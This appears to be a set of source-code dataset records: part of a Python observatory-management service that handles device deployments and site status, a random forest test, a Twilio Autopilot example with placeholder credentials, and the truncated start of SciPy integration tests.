self.platform_site.link_output_product(site_id, data_product_id)\n\n\n def streamdef_of_site(self, site_id):\n \"\"\"\n return the streamdef associated with the output product of a site\n \"\"\"\n\n #assume we've previously validated that the site has 1 product\n p, _ = self.RR.find_objects(site_id, PRED.hasOutputProduct, RT.DataProduct, True)\n streams, _ = self.RR.find_objects(p[0], PRED.hasStream, RT.Stream, True)\n if 1 != len(streams):\n raise BadRequest(\"Expected 1 stream on DataProduct '%s', got %d\" % (p[0], len(streams)))\n sdefs, _ = self.RR.find_objects(streams[0], PRED.hasStreamDefinition, RT.StreamDefinition, True)\n if 1 != len(sdefs):\n raise BadRequest(\"Expected 1 streamdef on StreamDefinition '%s', got %d\" % (streams[0], len(sdefs)))\n\n return sdefs[0]\n\n\n def streamdefs_of_device(self, device_id):\n \"\"\"\n return a dict of streamdef_id => stream_id for a given device\n \"\"\"\n\n assert(type(\"\") == type(device_id))\n\n #recursive function to get all data producers\n def child_data_producers(dpdc_ids):\n def cdp_helper(acc2, dpdc_id2):\n children, _ = self.RR.find_subjects(RT.DataProducer, PRED.hasParent, dpdc_id2, True)\n for child in children:\n acc2.append(child)\n acc2 = cdp_helper(acc2, child)\n return acc\n\n #call helper using input list of data products\n acc = []\n for d in dpdc_ids:\n acc = cdp_helper(acc, d)\n return acc\n\n #initial list of data producers\n pdcs, _ = self.RR.find_objects(device_id, PRED.hasDataProducer, RT.DataProducer, True)\n if 0 == len(pdcs):\n raise BadRequest(\"Expected data producer(s) on device '%s', got none\" % device_id)\n\n #now the full list of data producers, with children\n pdcs = child_data_producers(pdcs)\n log.debug(\"Got %s data producers\", len(pdcs))\n\n streamdefs = {}\n for pdc in pdcs:\n log.debug(\"Checking data producer %s\", pdc)\n prods, _ = self.RR.find_subjects(RT.DataProduct, PRED.hasDataProducer, pdc, True)\n for p in prods:\n log.debug(\"Checking product %s\", p)\n streams, _ = self.RR.find_objects(p, PRED.hasStream, RT.Stream, True)\n for s in streams:\n log.debug(\"Checking stream %s\", s)\n sdefs, _ = self.RR.find_objects(s, PRED.hasStreamDefinition, RT.StreamDefinition, True)\n for sd in sdefs:\n log.debug(\"Checking streamdef %s\", sd)\n if sd in streamdefs:\n raise BadRequest(\"Got a duplicate stream definition stemming from device %s\" % device_id)\n streamdefs[sd] = s\n\n return streamdefs\n\n\n def check_site_for_deployment(self, site_id, site_type, model_type, check_data_products=True):\n assert(type(\"\") == type(site_id))\n assert(type(RT.Resource) == type(site_type) == type(model_type))\n\n log.debug(\"checking %s for deployment, will return %s\", site_type, model_type)\n # validate and return supported models\n models, _ = self.RR.find_objects(site_id, PRED.hasModel, model_type, True)\n if 1 > len(models):\n raise BadRequest(\"Expected at least 1 model for %s '%s', got %s\" % (site_type, site_id, len(models)))\n\n if check_data_products:\n log.trace(\"checking site data products\")\n #todo: remove this when platform data products start working\n if site_type != RT.PlatformSite:\n prods, _ = self.RR.find_objects(site_id, PRED.hasOutputProduct, RT.DataProduct, True)\n if 1 != len(prods):\n raise BadRequest(\"Expected 1 output data product on %s '%s', got %s\" % (site_type,\n site_id,\n len(prods)))\n log.trace(\"check_site_for_deployment returning %s models\", len(models))\n\n return models\n\n\n\n def check_device_for_deployment(self, device_id, device_type, model_type):\n assert(type(\"\") == type(device_id))\n assert(type(RT.Resource) == type(device_type) == type(model_type))\n\n log.trace(\"checking %s for deployment, will return %s\", device_type, model_type)\n # validate and return model\n models, _ = self.RR.find_objects(device_id, PRED.hasModel, model_type, True)\n if 1 != len(models):\n raise BadRequest(\"Expected 1 model for %s '%s', got %d\" % (device_type, device_id, len(models)))\n log.trace(\"check_device_for_deployment returning 1 model\")\n return models[0]\n\n def check_site_device_pair_for_deployment(self, site_id, device_id, site_type=None, device_type=None):\n assert(type(\"\") == type(site_id) == type(device_id))\n\n log.debug(\"checking %s/%s pair for deployment\", site_type, device_type)\n #return a pair that should be REMOVED, or None\n\n if site_type is None:\n site_type = type(self.RR.read(site_id)).__name__\n\n if device_type is None:\n device_type = type(self.RR.read(device_id)).__name__\n\n ret = None\n\n log.trace(\"checking existing hasDevice links from site\")\n devices, _ = self.RR.find_objects(site_id, PRED.hasDevice, device_type, True)\n if 1 < len(devices):\n raise Inconsistent(\"Found more than 1 hasDevice relationship from %s '%s'\" % (site_type, site_id))\n elif 0 < len(devices):\n if devices[0] != device_id:\n ret = (site_id, devices[0])\n log.info(\"%s '%s' is already hasDevice with a %s\", site_type, site_id, device_type)\n\n return ret\n\n# def has_matching_streamdef(self, site_id, device_id):\n# if not self.streamdef_of_site(site_id) in self.streamdefs_of_device(device_id):\n# raise BadRequest(\"No matching streamdefs between %s '%s' and %s '%s'\" %\n# (site_type, site_id, device_type, device_id))\n\n def collect_deployment_components(self, deployment_id):\n \"\"\"\n get all devices and sites associated with this deployment and use their ID as a key to list of models\n \"\"\"\n assert(type(\"\") == type(deployment_id))\n\n device_models = {}\n site_models = {}\n\n # significant change-up in how this works.\n #\n # collect all devices in this deployment\n\n def add_sites(site_ids, site_type, model_type):\n for s in site_ids:\n models = self.check_site_for_deployment(s, site_type, model_type, False)\n if s in site_models:\n log.warn(\"Site '%s' was already collected in deployment '%s'\", s, deployment_id)\n site_models[s] = models\n\n def add_devices(device_ids, device_type, model_type):\n for d in device_ids:\n model = self.check_device_for_deployment(d, device_type, model_type)\n if d in device_models:\n log.warn(\"Device '%s' was already collected in deployment '%s'\", d, deployment_id)\n device_models[d] = model\n\n\n def collect_specific_resources(site_type, device_type, model_type):\n # check this deployment -- specific device types -- for validity\n # return a list of pairs (site, device) to be associated\n log.trace(\"Collecting resources: site=%s device=%s model=%s\", site_type, device_type, model_type)\n new_site_ids, _ = self.RR.find_subjects(site_type,\n PRED.hasDeployment,\n deployment_id,\n True)\n\n new_device_ids, _ = self.RR.find_subjects(device_type,\n PRED.hasDeployment,\n deployment_id,\n True)\n\n add_sites(new_site_ids, site_type, model_type)\n add_devices(new_device_ids, device_type, model_type)\n\n # collect platforms, verify that only one platform device exists in the deployment\n collect_specific_resources(RT.PlatformSite, RT.PlatformDevice, RT.PlatformModel)\n if 1 < len(device_models):\n raise BadRequest(\"Multiple platforms in the same deployment are not allowed\")\n elif 0 < len(device_models):\n log.trace(\"adding devices and sites that are children of platform device / site\")\n child_device_objs = self.platform_device.find_stemming_platform_device(device_models.keys()[0])\n child_site_objs = self.find_related_frames_of_reference(site_models.keys()[0],\n [RT.PlatformSite, RT.InstrumentSite])\n\n child_device_ids = [x._id for x in child_device_objs]\n child_site_ids = [x._id for x in child_site_objs[RT.InstrumentSite]]\n\n # IGNORE child platforms\n # verify that platform site has no sub-platform-sites\n #if 0 < len(child_site_ids[RT.PlatformSite]):\n # raise BadRequest(\"Deploying a platform with its own child platform is not allowed\")\n\n # gather a list of all instrument sites on platform site\n # gather a list of all instrument devices on platform device\n add_devices(child_device_ids, RT.InstrumentDevice, RT.InstrumentModel)\n add_sites(child_site_ids, RT.InstrumentSite, RT.InstrumentModel)\n else:\n log.warn(\"0 platforms in deployment being activated\")\n\n collect_specific_resources(RT.InstrumentSite, RT.InstrumentDevice, RT.InstrumentModel)\n\n return device_models, site_models\n\n\n def activate_deployment(self, deployment_id='', activate_subscriptions=False):\n \"\"\"\n Make the devices on this deployment the primary devices for the sites\n \"\"\"\n #Verify that the deployment exists\n self.clients.resource_registry.read(deployment_id)\n\n# if LCS.DEPLOYED == deployment_obj.lcstate:\n# raise BadRequest(\"This deploment is already active\")\n\n log.trace(\"activate_deployment about to collect components\")\n device_models, site_models = self.collect_deployment_components(deployment_id)\n log.trace(\"Collected %s device models, %s site models\", len(device_models), len(site_models))\n\n # create a CSP so we can solve it\n problem = constraint.Problem()\n\n # add variables - the devices to be assigned, and their range (possible sites)\n for device_id in device_models.keys():\n device_model = device_models[device_id]\n possible_sites = [s for s in site_models.keys()\n if device_model in site_models[s]]\n #and self.streamdef_of_site(s) in self.streamdefs_of_device(device_id)]\n problem.addVariable(\"device_%s\" % device_id, possible_sites)\n\n # add the constraint that all the variables have to pick their own site\n problem.addConstraint(constraint.AllDifferentConstraint(),\n [\"device_%s\" % device_id for device_id in device_models.keys()])\n\n # perform CSP solve; this will be a list of solutions, each a dict of var -> value\n solutions = problem.getSolutions()\n\n def solution_to_string(soln):\n ret = \"%s\" % type(soln).__name__\n for k, v in soln.iteritems():\n dev_obj = self.RR.read(k)\n site_obj = self.RR.read(v)\n ret = \"%s, %s '%s' -> %s '%s'\" % (ret, dev_obj._get_type(), k, site_obj._get_type(), v)\n return ret\n\n if 1 > len(solutions):\n raise BadRequest(\"The set of devices could not be mapped to the set of sites, based on matching \" +\n \"model and streamdefs\")\n elif 1 < len(solutions):\n log.warn(\"Found %d possible ways to map device and site, but just picking the first one\", len(solutions))\n log.warn(\"Here is the %s of all of them:\", type(solutions).__name__)\n for i, s in enumerate(solutions):\n log.warn(\"Option %d: %s\" , i+1, solution_to_string(s))\n else:\n log.info(\"Found one possible way to map devices and sites. Best case scenario!\")\n\n pairs_add = []\n pairs_rem = []\n\n #figure out if any of the devices in the new mapping are already mapped and need to be removed\n #then add the new mapping to the output array\n for device_id in device_models.keys():\n site_id = solutions[0][\"device_%s\" % device_id]\n old_pair = self.check_site_device_pair_for_deployment(site_id, device_id)\n if old_pair:\n pairs_rem.append(old_pair)\n new_pair = (site_id, device_id)\n pairs_add.append(new_pair)\n\n # process any removals\n for site_id, device_id in pairs_rem:\n log.info(\"Unassigning hasDevice; device '%s' from site '%s'\", device_id, site_id)\n if not activate_subscriptions:\n log.warn(\"The input to the data product for site '%s' will no longer come from its primary device\",\n site_id)\n self.unassign_device_from_site(device_id, site_id)\n\n # process the additions\n for site_id, device_id in pairs_add:\n log.info(\"Setting primary device '%s' for site '%s'\", device_id, site_id)\n self.assign_device_to_site(device_id, site_id)\n if activate_subscriptions:\n log.info(\"Activating subscription as requested\")\n self.transfer_site_subscription(site_id)\n#\n# self.RR.execute_lifecycle_transition(deployment_id, LCE.DEPLOY)\n\n\n def deactivate_deployment(self, deployment_id=''):\n \"\"\"Remove the primary device designation for the deployed devices at the sites\n\n @param deployment_id str\n @throws NotFound object with specified id does not exist\n @throws BadRequest if devices can not be undeployed\n \"\"\"\n\n #Verify that the deployment exists\n self.clients.resource_registry.read(deployment_id)\n\n# if LCS.DEPLOYED != deployment_obj.lcstate:\n# raise BadRequest(\"This deploment is not active\")\n\n # get all associated components\n device_models, site_models = self.collect_deployment_components(deployment_id)\n\n #must only remove from sites that are not deployed under a different active deployment\n # must only remove devices that are not deployed under a different active deployment\n def filter_alternate_deployments(resource_list):\n # return the list of ids for devices or sites not connected to an alternate lcs.deployed deployment\n ret = []\n for r in resource_list:\n depls, _ = self.RR.find_objects(r, PRED.hasDeployment, RT.Deployment)\n keep = True\n for d in depls:\n if d._id != deployment_id and LCS.DEPLOYED == d.lcstate:\n keep = False\n if keep:\n ret.append(r)\n return ret\n\n device_ids = filter_alternate_deployments(device_models.keys())\n site_ids = filter_alternate_deployments(site_models.keys())\n\n # delete only associations where both site and device have passed the filter\n for s in site_ids:\n ds, _ = self.RR.find_objects(s, PRED.hasDevice, id_only=True)\n for d in ds:\n if d in device_ids:\n a = self.RR.get_association(s, PRED.hasDevice, d)\n self.RR.delete_association(a)\n#\n# # mark deployment as not deployed (developed seems appropriate)\n# self.RR.execute_lifecycle_transition(deployment_id, LCE.DEVELOPED)\n\n\n\n def transfer_site_subscription(self, site_id=\"\"):\n \"\"\"\n Transfer the site subscription to the current hasDevice link\n \"\"\"\n\n # get site obj\n log.info('Getting site object: %s', site_id)\n site_obj = self.RR.read(site_id)\n\n # error if no hasDevice\n devices, _ = self.RR.find_objects(site_id, PRED.hasDevice, None, True)\n if 1 != len(devices):\n raise BadRequest(\"Expected 1 hasDevice association, got %d\" % len(devices))\n device_id = devices[0]\n\n # get device obj\n device_obj = self.RR.read(device_id)\n\n # error if models don't match\n site_type = type(site_obj).__name__\n device_type = type(device_obj).__name__\n if RT.InstrumentDevice == device_type:\n model_type = RT.InstrumentModel\n elif RT.PlatformDevice == device_type:\n #model_type = RT.PlatformModel\n #todo: actually transfer the subsription. for now we abort because there are no platform data products\n return\n else:\n raise BadRequest(\"Expected a device type, got '%s'\" % device_type)\n\n device_model = self.check_device_for_deployment(device_id, device_type, model_type)\n site_models = self.check_site_for_deployment(site_id, site_type, model_type)\n # commented out as per Maurice, 8/7/12\n device_model, site_models #suppress pyflakes warnings\n# if device_model not in site_models:\n# raise BadRequest(\"The site and device model types are incompatible\")\n\n # check site/device pair.\n # this function re-checks the association as a side effect, so this error should NEVER happen\n if self.check_site_device_pair_for_deployment(site_id, device_id, site_type, device_type):\n raise BadRequest(\"Magically and unfortunately, the site and device are no longer associated\")\n\n # get deployments\n depl_site, _ = self.RR.find_objects(site_id, PRED.hasDeployment, RT.Deployment, True)\n depl_dev, _ = self.RR.find_objects(device_id, PRED.hasDeployment, RT.Deployment, True)\n\n # error if no matching deployments\n found = False\n for ds in depl_site:\n if ds in depl_dev:\n found = True\n break\n if not found:\n raise BadRequest(\"Site and device do not share a deployment!\")\n\n # check product and process from site\n pduct_ids, _ = self.RR.find_objects(site_id, PRED.hasOutputProduct, RT.DataProduct, True)\n if 1 != len(pduct_ids):\n raise BadRequest(\"Expected 1 DataProduct associated to site '%s' but found %d\" % (site_id, len(pduct_ids)))\n process_ids, _ = self.RR.find_subjects(RT.DataProcess, PRED.hasOutputProduct, pduct_ids[0], True)\n if not process_ids:\n log.info('No DataProcess associated to the data product of this site')\n# if 1 != len(process_ids):\n# raise BadRequest(\"Expected 1 DataProcess feeding DataProduct '%s', but found %d\" %\n# (pduct_ids[0], len(process_ids)))\n\n #look up stream defs\n ss = self.streamdef_of_site(site_id)\n ds = self.streamdefs_of_device(device_id)\n\n if not ss in ds:\n raise BadRequest(\"Data product(s) of site does not have any matching streamdef for data product of device\")\n if process_ids:\n data_process_id = process_ids[0]\n log.info(\"Changing subscription: %s\", data_process_id)\n log.info('ds of ss: %s', ds[ss])\n self.PRMS.update_data_process_inputs(data_process_id, [ds[ss]])\n\n log.info(\"Successfully changed subscriptions\")\n\n\n\n\n\n ##########################################################################\n #\n # FIND OPS\n #\n ##########################################################################\n\n\n\n def find_org_by_observatory(self, observatory_id=''):\n \"\"\"\n \"\"\"\n orgs,_ = self.RR.find_subjects(RT.Org, PRED.hasResource, observatory_id, id_only=False)\n return orgs\n\n\n def find_related_frames_of_reference(self, input_resource_id='', output_resource_type_list=None):\n\n # use the related resources crawler\n finder = RelatedResourcesCrawler()\n\n # generate the partial function (cached association list)\n get_assns = finder.generate_related_resources_partial(self.RR, [PRED.hasSite])\n\n # run 2 searches allowing all site-based resource types: one down (subj-obj), one up (obj-subj)\n full_crawllist = [RT.InstrumentSite, RT.PlatformSite, RT.Subsite, RT.Observatory]\n search_down = get_assns({PRED.hasSite: (True, False)}, full_crawllist)\n search_up = get_assns({PRED.hasSite: (False, True)}, full_crawllist)\n\n # the searches return a list of association objects, so compile all the ids by extracting them\n retval_ids = set([])\n\n # we want only those IDs that are not the input resource id\n for a in search_down(input_resource_id, -1) + search_up(input_resource_id, -1):\n if a.o not in retval_ids and a.o != input_resource_id:\n retval_ids.add(a.o)\n if a.s not in retval_ids and a.s != input_resource_id:\n retval_ids.add(a.s)\n\n\n log.debug(\"converting retrieved ids to objects = %s\" % retval_ids)\n\n #initialize the dict\n retval = dict((restype, []) for restype in output_resource_type_list)\n\n #workaround for read_mult problem\n all_res = []\n if retval_ids: all_res = self.RR.read_mult(list(retval_ids))\n #all_res = self.RR.read_mult(retval_ids)\n\n # put resources in the slot based on their type\n for resource in all_res:\n typename = type(resource).__name__\n if typename in output_resource_type_list:\n retval[typename].append(resource)\n\n # display a count of how many resources we retrieved\n log.debug(\"got these resources: %s\", dict([(k, len(v)) for k, v in retval.iteritems()]))\n\n return retval\n\n\n\n\n\n ############################\n #\n # EXTENDED RESOURCES\n #\n ############################\n\n\n def get_site_extension(self, site_id='', ext_associations=None, ext_exclude=None, user_id=''):\n \"\"\"Returns an InstrumentDeviceExtension object containing additional related information\n\n @param site_id str\n @param ext_associations dict\n @param ext_exclude list\n @retval observatory ObservatoryExtension\n @throws BadRequest A parameter is missing\n @throws NotFound An object with the specified observatory_id does not exist\n \"\"\"\n\n if not site_id:\n raise BadRequest(\"The site_id parameter is empty\")\n\n extended_resource_handler = ExtendedResourceContainer(self)\n\n extended_site = extended_resource_handler.create_extended_resource_container(\n extended_resource_type=OT.SiteExtension,\n resource_id=site_id,\n computed_resource_type=OT.SiteComputedAttributes,\n ext_associations=ext_associations,\n ext_exclude=ext_exclude,\n user_id=user_id)\n\n # Get status of Site instruments.\n a, b = self._get_instrument_states(extended_site.instrument_devices)\n extended_site.instruments_operational, extended_site.instruments_not_operational = a, b\n\n # lookup all hasModel predicates\n # lookup is a 2d associative array of [subject type][subject id] -> object id\n lookup = dict([(rt, {}) for rt in [RT.InstrumentDevice, RT.PlatformDevice]])\n for a in self.RR.find_associations(predicate=PRED.hasModel, id_only=False):\n if a.st in lookup:\n lookup[a.st][a.s] = a.o\n\n def retrieve_model_objs(rsrc_list, object_type):\n # rsrc_list is devices that need models looked up. object_type is the resource type (a device)\n # not all devices have models (represented as None), which kills read_mult. so, extract the models ids,\n # look up all the model ids, then create the proper output\n model_list = [lookup[object_type].get(r._id) for r in rsrc_list]\n model_uniq = list(set([m for m in model_list if m is not None]))\n model_objs = self.clients.resource_registry.read_mult(model_uniq)\n model_dict = dict(zip(model_uniq, model_objs))\n return [model_dict.get(m) for m in model_list]\n\n extended_site.instrument_models = retrieve_model_objs(extended_site.instrument_devices, RT.InstrumentDevice)\n extended_site.platform_models = retrieve_model_objs(extended_site.platform_devices, RT.PlatformDevice)\n\n\n s_unknown = StatusType.STATUS_UNKNOWN\n\n # Status computation\n extended_site.computed.instrument_status = [s_unknown] * len(extended_site.instrument_devices)\n extended_site.computed.platform_status = [s_unknown] * len(extended_site.platform_devices)\n extended_site.computed.site_status = [s_unknown] * len(extended_site.sites)\n\n def status_unknown():\n return ComputedIntValue(status=ComputedValueAvailability.PROVIDED, value=StatusType.STATUS_UNKNOWN)\n\n extended_site.computed.communications_status_roll_up = status_unknown()\n extended_site.computed.power_status_roll_up = status_unknown()\n extended_site.computed.data_status_roll_up = status_unknown()\n extended_site.computed.location_status_roll_up = status_unknown()\n extended_site.computed.aggregated_status = status_unknown()\n\n try:\n status_rollups = self.outil.get_status_roll_ups(site_id, extended_site.resource._get_type())\n\n extended_site.computed.instrument_status = [status_rollups.get(idev._id,{}).get(\"agg\", s_unknown)\n for idev in extended_site.instrument_devices]\n extended_site.computed.platform_status = [status_rollups.get(pdev._id,{}).get(\"agg\", s_unknown)\n for pdev in extended_site.platform_devices]\n extended_site.computed.site_status = [status_rollups.get(site._id,{}).get(\"agg\", s_unknown)\n for site in extended_site.sites]\n\n\n def short_status_rollup(key):\n return ComputedIntValue(status=ComputedValueAvailability.PROVIDED,\n value=status_rollups[site_id].get(key, s_unknown))\n\n extended_site.computed.communications_status_roll_up = short_status_rollup(\"comms\")\n extended_site.computed.power_status_roll_up = short_status_rollup(\"power\")\n extended_site.computed.data_status_roll_up = short_status_rollup(\"data\")\n extended_site.computed.location_status_roll_up = short_status_rollup(\"loc\")\n extended_site.computed.aggregated_status = short_status_rollup(\"agg\")\n except Exception as ex:\n log.exception(\"Computed attribute failed for site %s\" % site_id)\n\n return extended_site\n\n\n #Bogus functions for computed attributes\n def get_number_data_sets(self, observatory_id):\n return \"0\"\n\n def get_number_instruments_deployed(self, observatory_id):\n return \"0\"\n\n\n def get_number_instruments_operational(self, observatory_id):\n return \"0\"\n\n\n def get_number_instruments_inoperational(self, observatory_id):\n return \"0\"\n\n\n def get_number_instruments(self, observatory_id):\n return \"0\"\n\n\n def get_number_platforms(self, observatory_id):\n return \"0\"\n\n def get_number_platforms_deployed(self, observatory_id):\n return \"0\"\n\n def _get_instrument_states(self, instrument_device_obj_list=None):\n\n op = []\n non_op = []\n if instrument_device_obj_list is None:\n instrument_device_list = []\n\n #call eventsdb to check data-related events from this device. Use UNix vs NTP tiem for now, as\n # resource timestaps are in Unix, data is in NTP\n\n now = str(int(time.time() * 1000))\n query_interval = str(int(time.time() - (AGENT_STATUS_EVENT_DELTA_DAYS * 86400) ) *1000)\n\n for device_obj in instrument_device_obj_list:\n # first check the instrument lifecycle state\n if not ( device_obj.lcstate in [LCS.DEPLOYED_AVAILABLE, LCS.INTEGRATED_DISCOVERABLE] ):\n non_op.append(device_obj)\n\n else:\n # we dont have a find_events that takes a list yet so loop thru the instruments and get\n # recent events for each.\n events = self.clients.user_notification.find_events(origin=device_obj._id,\n type= 'ResourceAgentStateEvent',\n max_datetime = now,\n min_datetime = query_interval,\n limit=1)\n # the most recent event is first so assume that is the current state\n if not events:\n non_op.append(device_obj)\n else:\n current_instrument_state = events[0].state\n if current_instrument_state in [ResourceAgentState.STREAMING,\n ResourceAgentState.CALIBRATE,\n ResourceAgentState.BUSY,\n ResourceAgentState.DIRECT_ACCESS]:\n op.append(device_obj)\n else:\n op.append(device_obj)\n\n return op, non_op\n\n","sub_path":"ion/services/sa/observatory/observatory_management_service.py","file_name":"observatory_management_service.py","file_ext":"py","file_size_in_byte":57092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"81012712","text":"import numpy as np\nimport scipy.stats as stats \n\nfrom myclassifiers import MyRandomForestClassifier, MyDecisionTreeClassifier\n\ndef test_random_forest_classifier_fit():\n # DECISION TREE TEST\n\n #interview_header = [\"level\", \"lang\", \"tweets\", \"phd\", \"interviewed_well\"]\n #header = [\"att0\",\"att1\",\"att2\",\"att3\",\"class\"]\n interview_table = [\n [\"Senior\", \"Java\", \"no\", \"no\"],\n [\"Senior\", \"Java\", \"no\", \"yes\"],\n [\"Mid\", \"Python\", \"no\", \"no\"],\n [\"Junior\", \"Python\", \"no\", \"no\"],\n [\"Junior\", \"R\", \"yes\", \"no\"],\n [\"Junior\", \"R\", \"yes\", \"yes\"],\n [\"Mid\", \"R\", \"yes\", \"yes\"],\n [\"Senior\", \"Python\", \"no\", \"no\"],\n [\"Senior\", \"R\", \"yes\", \"no\"],\n [\"Junior\", \"Python\", \"yes\", \"no\"],\n [\"Senior\", \"Python\", \"yes\", \"yes\"],\n [\"Mid\", \"Python\", \"no\", \"yes\"],\n [\"Mid\", \"Java\", \"yes\", \"no\"],\n [\"Junior\", \"Python\", \"no\", \"yes\"]\n ]\n\n interview_results = [\"False\", \"False\",\"True\",\"True\",\"True\",\"False\",\"True\",\"False\",\"True\",\"True\",\"True\",\"True\",\"True\",\"False\"]\n #tree we constructed in class\n interview_tree = \\\n [\"Attribute\", \"att0\",\n [\"Value\", \"Junior\", \n [\"Attribute\", \"att3\",\n [\"Value\", \"no\", \n [\"Leaf\", \"True\", 3, 5]\n ],\n [\"Value\", \"yes\", \n [\"Leaf\", \"False\", 2, 5]\n ]\n ]\n ],\n [\"Value\", \"Mid\",\n [\"Leaf\", \"True\", 4, 14]\n ],\n [\"Value\", \"Senior\",\n [\"Attribute\", \"att2\",\n [\"Value\", \"no\",\n [\"Leaf\", \"False\", 3, 5]\n ],\n [\"Value\", \"yes\",\n [\"Leaf\", \"True\", 2, 5]\n ]\n ]\n ]\n ]\n\n classifier = MyRandomForestClassifier()\n classifier.fit(interview_table, interview_results)\n assert np.allclose(classifier.tree, interview_tree)\n # only decision tree atm","sub_path":"test_randomforest.py","file_name":"test_randomforest.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"239221924","text":"# Download the helper library from https://www.twilio.com/docs/python/install\nfrom twilio.rest import Client\n\n# Your Account Sid and Auth Token from twilio.com/console\naccount_sid = 'ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'\nauth_token = 'your_auth_token'\nclient = Client(account_sid, auth_token)\n\n# Update your assistant's initiation action task to say something and listen for a repsonse.\nupdate_initiation_action = {\n 'actions': [\n {'say': 'Hi there, I\\'m your virtual assistant! How can I help you?'},\n {'listen': True}\n ]\n}\n\n# Update the default intent to use your new actions.\n# Replace 'UAXXX...' with your Assistant's unique SID https://www.twilio.com/console/autopilot/list\nclient.preview.understand \\\n .assistants('UAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX') \\\n .update(initiation_actions=update_initiation_action)\n\nprint(\"Intent actions updated\")\n","sub_path":"quickstart/python/understand/example-1/update_initiation_action.6.x.py","file_name":"update_initiation_action.6.x.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"518312370","text":"from __future__ import division, print_function, absolute_import\n\nimport numpy as np\nfrom numpy import cos, sin, pi\nfrom numpy.testing import assert_equal, \\\n assert_almost_equal, assert_allclose, assert_\nfrom scipy._lib._numpy_compat import suppress_warnings\n\nfrom scipy.integrate import (quadrature, romberg, romb, newton_cotes,\n cumtrapz, quad, simps, fixed_quad)\nfrom scipy.integrate.quadrature import AccuracyWarning\n\n\nclass TestFixedQuad(object):\n def test_scalar(self):\n n = 4\n func = lambda x: x**(2*n - 1)\n expected = 1/(2*n)\n got, _ = fixed_quad(func, 0, 1, n=n)\n # quadrature exact for this input\n assert_allclose(got, expected, rtol=1e-12)\n\n def test_vector(self):\n n = 4\n p = np.arange(1, 2*n)\n func = lambda x: x**p[:,None]\n expected = 1/(p + 1)\n got, _ = fixed_quad(func, 0, 1, n=n)\n assert_allclose(got, expected, rtol=1e-12)\n\n\nclass TestQuadrature(object):\n def quad(self, x, a, b, args):\n raise NotImplementedError\n\n def test_quadrature(self):\n # Typical function with two extra arguments:\n def myfunc(x, n, z): # Bessel function integrand\n return cos(n*x-z*sin(x))/pi\n val, err = quadrature(myfunc, 0, pi, (2, 1.8))\n table_val = 0.30614353532540296487\n assert_almost_equal(val, table_val, decimal=7)\n\n def test_quadrature_rtol(self):\n def myfunc(x, n, z): # Bessel function integrand\n return 1e90 * cos(n*x-z*sin(x))/pi\n val, err = quadrature(myfunc, 0, pi, (2, 1.8), rtol=1e-10)\n table_val = 1e90 * 0.30614353532540296487\n assert_allclose(val, table_val, rtol=1e-10)\n\n def test_quadrature_miniter(self):\n # Typical function with two extra arguments:\n def myfunc(x, n, z): # Bessel function integrand\n return cos(n*x-z*sin(x))/pi\n table_val = 0.30614353532540296487\n for miniter in [5, 52]:\n val, err = quadrature(myfunc, 0, pi, (2, 1.8), miniter=miniter)\n assert_almost_equal(val, table_val, decimal=7)\n assert_(err < 1.0)\n\n def test_quadrature_single_args(self):\n def myfunc(x, n):\n return 1e90 * cos(n*x-1.8*sin(x))/pi\n val, err = quadrature(myfunc, 0, pi, args=2, rtol=1e-10)\n table_val = 1e90 * 0.30614353532540296487\n assert_allclose(val, table_val, rtol=1e-10)\n\n def test_romberg(self):\n # Typical function with two extra arguments:\n def myfunc(x, n, z): # Bessel function integrand\n return cos(n*x-z*sin(x))/pi\n val = romberg(myfunc, 0, pi, args=(2, 1.8))\n table_val = 0.30614353532540296487\n assert_almost_equal(val, table_val, decimal=7)\n\n def test_romberg_rtol(self):\n # Typical function with two extra arguments:\n def myfunc(x, n, z): # Bessel function integrand\n return 1e19*cos(n*x-z*sin(x))/pi\n val = romberg(myfunc, 0, pi, args=(2, 1.8), rtol=1e-10)\n table_val = 1e19*0.30614353532540296487\n assert_allclose(val, table_val, rtol=1e-10)\n\n def test_romb(self):\n assert_equal(romb(np.arange(17)), 128)\n\n def test_romb_gh_3731(self):\n # Check that romb makes maximal use of data points\n x = np.arange(2**4+1)\n y = np.cos(0.2*x)\n val = romb(y)\n val2, err = quad(lambda x: np.cos(0.2*x), x.min(), x.max())\n assert_allclose(val, val2, rtol=1e-8, atol=0)\n\n # should be equal to romb with 2**k+1 samples\n with suppress_warnings() as sup:\n sup.filter(AccuracyWarning, \"divmax .4. exceeded\")\n val3 = romberg(lambda x: np.cos(0.2*x), x.min(), x.max(), divmax=4)\n assert_allclose(val, val3, rtol=1e-12, atol=0)\n\n def test_non_dtype(self):\n # Check that we work fine with functions returning float\n import math\n valmath = romberg(math.sin, 0, 1)\n expected_val = 0.45969769413185085\n assert_almost_equal(valmath, expected_val, decimal=7)\n\n def test_newton_cotes(self):\n \"\"\"Test the first few degrees, for evenly spaced points.\"\"\"\n n = 1\n wts, errcoff = newton_cotes(n, 1)\n assert_equal(wts, n*np.array([0.5, 0.5]))\n assert_almost_equal(errcoff, -n**3/12.0)\n\n n = 2\n wts, errcoff = newton_cotes(n, 1)\n assert_almost_equal(wts, n*np.array([1.0, 4.0, 1.0])/6.0)\n assert_almost_equal(errcoff, -n**5/2880.0)\n\n n = 3\n wts, errcoff = newton_cotes(n, 1)\n assert_almost_equal(wts, n*np.array([1.0, 3.0, 3.0, 1.0])/8.0)\n assert_almost_equal(errcoff, -n**5/6480.0)\n\n n = 4\n wts, errcoff = newton_cotes(n, 1)\n assert_almost_equal(wts, n*np.array([7.0, 32.0, 12.0, 32.0, 7.0])/90.0)\n assert_almost_equal(errcoff, -n**7/1935360.0)\n\n def test_newton_cotes2(self):\n \"\"\"Test newton_cotes with points that are not evenly spaced.\"\"\"\n\n x = np.array([0.0, 1.5, 2.0])\n y = x**2\n wts, errcoff = newton_cotes(x)\n exact_integral = 8.0/3\n numeric_integral = np.dot(wts, y)\n assert_almost_equal(numeric_integral, exact_integral)\n\n x = np.array([0.0, 1.4, 2.1, 3.0])\n y = x**2\n wts, errcoff = newton_cotes(x)\n exact_integral = 9.0\n numeric_integral = np.dot(wts, y)\n assert_almost_equal(numeric_integral, exact_integral)\n\n def test_simps(self):\n y = np.arange(17)\n assert_equal(simps(y), 